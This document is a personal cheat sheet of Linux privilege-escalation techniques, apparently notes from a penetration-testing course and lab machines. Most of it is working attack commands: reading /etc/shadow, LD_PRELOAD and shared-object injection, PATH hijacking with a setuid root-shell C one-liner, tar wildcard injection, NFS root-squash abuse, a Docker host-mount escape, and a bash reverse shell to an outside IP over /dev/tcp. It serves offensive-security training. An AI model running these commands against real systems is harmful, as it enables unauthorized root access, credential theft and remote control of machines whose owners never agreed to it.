Linux Privilege Escalation Jutsus

Introduction

This is a list of Linux Privilege Escalation jutsus I am collecting. Most originated from TCM's Linux Priv Esc course.

1. linpeas.sh

Link here: linpeas.sh on Github

2. Linux Exploit Suggester

Link here: linux-exploit-suggester.py on Github

Works like Windows-Exploit-Suggester. It will find Kernel exploits you can potentially use.

2.5 pspy32

You can run ./pspy32 to see what background processes are running. Even for root. Use this if your running out of ideas.

3. Scripts Misc.

1. LinEnum
2. LinuxPrivChecker

3.1 Weak File Permissions

1. cat /etc/shadow
2. Copy /etc/passwd and /etc/shadow. Commands in screenshot.

3.2 History

1. cat ~/.bash_history | grep -i passw
2. history

3.3 Files the User Owns

1. find / -user jimmy -ls 2>/dev/null
2. This could lead to a hint of where to go.

4. Kernel Exploits

4.1 Dirtyc0w CVE-2016-5195

1. Download from here: c0w.c

4.2 Ubuntu 16.04.4 CVE-2017-16995

1. https://www.exploit-db.com/exploits/44298

5.0 Sudo Escalation

5.1 Sudo Shell Escaping

1. sudo -l
2. GTFOBins

5.2 Intended Functionality

1. sudo -l (say apache2 shows up)
2. Google sudo apache2 privilege escalation
3. Although no shell, you can do apache2 -f /etc/shadow
4. Or using wget to send shadow file: Sunday Walkthrough

5.3 LD_PRELOAD

1. Take ld_preload_shell.c from here
2. gcc -fPIC -shared -o shell.so shell.c -nostartfiles
3. sudo LD_PRELOAD=/home/user/shell.so apache2
4. Pick ANY program that you can run as sudo -l. apache2 used as example.

5.4 Inverse Root (ALL, !root) /bin/bash CVE-2019-14287

1. https://www.exploit-db.com/exploits/47502

5.5 pwfeedback **** CVE-2019-18634

1. https://github.com/saleemrashid/sudo-cve-2019-18634

6.0 SUID

1. find / -perm -4000 2>/dev/null
2. Suid3num python script
3. GTFOBins

6.1 Shared Object Injection

1. ls -lah /usr/local/bin/suid-so
2. strace /usr/local/bin/suid-so 2>&1
3. Find "No such file or directory"
4. strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
5. Get libcalc.c file here.
6. gcc -shared -fPIC libcalc.c -o libcalc.so

6.2 Environment Variables

Relative Path

1. find / -perm -4000 2>/dev/null
2. /usr/bin/local/suid-env
3. strings /usr/local/bin/suid-env
4. echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c
5. gcc /tmp/service.c -o /tmp/service
6. export PATH=/tmp:$PATH
7. print $PATH
8. /usr/local/bin/suid-env

--- OR ---

Full Path

1. strings /usr/local/bin/suid-env2
2. function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
3. export -f /usr/sbin/service
4. /usr/local/bin/suid-env2

7. SSH Keys

Detection

1. find / -name authorized_keys 2>/dev/null
2. find / -name id_rsa 2>/dev/null

Exploitation

1. Save the SSH key to Kali.
2. chmod 600 id_rsa
3. ssh -i id_rsa root@10.10.3.11

8. Scheduled Tasks/Cron

1. cat /etc/crontab
2. crontab -l
3. systemctl list-timers all

8.1 Escalation via Cron Paths

1. Overwrite a file. Screenshot above.

8.1 Escalation via Wildcards

1. echo "bash -i >& /dev/tcp/10.2.43.23/4444 0>&1" > runme.sh
2. echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > runme.sh
3. chmod +x runme.sh
4. echo "" > "--checkpoint-action=exec=sh runme.sh"
5. echo "" > --checkpoint=1
6. Note: for tar. Use the two commands up above instead of the screenshot. I'll fix the screenshot once I get access again.

9. NFS Root Squashing

1. cat /etc/exports
2. sudo -i MUST BE ROOT ON KALI
3. Kali# sudo showmount -e 10.10.79.14
4. mkdir /tmp/mountit
5. sudo mount -o rw,vers=2 10.10.218.184:/tmp /tmp/mountit
6. echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/mountit/x.c
7. gcc /tmp/mountit/x.c -o /tmp/mountit/x
8. chmod +s /tmp/mountit/x
9. Go back to TCM and execute x

10. Capabilities

1. getcap -r / 2>/dev/null
2. GTFOBins Capabilities

11. Docker

1. linPEAS.sh will point out Docker vuln.
2. docker run -v /:/mnt --rm -it bash chroot /mnt sh

12. Python Import Statements

If a cronjob is running and you can't edit the python script itself, go after a library. Append a reverse shell to the end.